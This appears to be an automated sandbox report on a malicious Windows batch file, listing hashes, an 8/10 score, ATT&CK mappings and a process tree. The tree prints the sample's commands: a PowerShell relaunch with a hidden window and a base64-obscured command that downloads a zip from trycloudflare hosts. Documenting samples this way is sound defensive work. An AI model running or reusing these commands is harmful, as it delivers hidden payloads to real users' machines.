7a3962542b2a4b3f2b4d157c2efbcfaba87f347419de7b2671b84be71c93234e

Analysis

max time kernel
149s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20251211-en
resource tags

arch:x64arch:x86image:win10v2004-20251211-enlocale:en-usos:windows10-2004-x64system
submitted
16/12/2025, 06:40

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General

Target
7a3962542b2a4b3f2b4d157c2efbcfaba87f347419de7b2671b84be71c93234e.bat
Size 32KB
Sample251216-hfcxcsvqcs
SHA256 7a3962542b2a4b3f2b4d157c2efbcfaba87f347419de7b2671b84be71c93234e
MD5 4f4b7062ead958aeb1d0088310860300
SHA1 1d587c6cfe7991b0df8be0ea3739869051fa7de8
SHA512 1ec3171b70fdcc73f43ad894df3fffdc8d14a6af295f2e30f4a96bfe2a9c5fd850436a2e348ec8863cc073a40c15975d9ab36b3179a58bf5da364d73d82c8b70
SSDEEP 96:+90pEsQZCi8mtiBKRMLULKdAD2nMhQBOgiCsxrJd7bhLLN4ZraSKkgxk6C:LmsL4IBeMWK+CMhQjb+JJx5MaSPgxkh
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4596	powershell.exe
6092	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4596	powershell.exe
4596	powershell.exe
6092	powershell.exe
6092	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4596	powershell.exe
Token: SeDebugPrivilege	6092	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4748 wrote to memory of 4596	4748	cmd.exe	84
PID 4596 wrote to memory of 3740	4596	powershell.exe	86
PID 3740 wrote to memory of 5668	3740	cmd.exe	88
PID 5668 wrote to memory of 2976	5668	cmd.exe	89
PID 5668 wrote to memory of 5988	5668	cmd.exe	90
PID 3740 wrote to memory of 6092	3740	cmd.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7a3962542b2a4b3f2b4d157c2efbcfaba87f347419de7b2671b84be71c93234e.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\7a3962542b2a4b3f2b4d157c2efbcfaba87f347419de7b2671b84be71c93234e.bat\" hidden' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4596
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7a3962542b2a4b3f2b4d157c2efbcfaba87f347419de7b2671b84be71c93234e.bat" hidden
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3740
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c type "C:\Users\Admin\AppData\Local\Temp\pdfs.txt" | find /c /v ""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5668
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\pdfs.txt" "
        5⤵
        
        PID:2976
    - - C:\Windows\system32\find.exe
        
        find /c /v ""
        5⤵
        
        PID:5988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "try { irm ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9zaGFkb3dzLXVzci1taXNzaXNzaXBwaS1kaXN0aW5ndWlzaGVkLnRyeWNsb3VkZmxhcmUuY29tLzF5bW11LnppcA=='))) -OutFile 'C:\Users\Admin\Contacts\LYIJC.zip' -ErrorAction Stop } catch { irm ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9wcmVjaW91cy1kdmQtZW5oYW5jZS1qb2hucy50cnljbG91ZGZsYXJlLmNvbS8xLVovMW1haW4uemlw'))) -OutFile 'C:\Users\Admin\Contacts\LYIJC.zip' }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6092

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1aeb46db0406a24334799ef05a442ccebf9a2b885a80b46602ddbfe7f5242f6a
MD5 a8ab9e82be618bf3e50e5660d069d1a8
SHA1 b539456b8f972cc8f3c1bbf304d603e523d0e6a3
SHA512 1fb90ebd3ca1c77e0f694d6af8332d20bdb2e49fcdd27052abec7cf01961a50b4a21b909ba1c64376b803c4a3bdbff8d7f901d46b509899bafcb93c8984b6a86
MD5 SHA1 SHA512

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__PSScriptPolicyTest_ngy045qe.qve.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ngy045qe.qve.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4596-0-0x00000289E7200000-0x00000289E7210000-memory.dmp

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memory/4596-1-0x00000289E7200000-0x00000289E7210000-memory.dmp

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memory/4596-9-0x00000289CF040000-0x00000289CF062000-memory.dmp

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memory/4596-12-0x00000289E93F0000-0x00000289E960C000-memory.dmp

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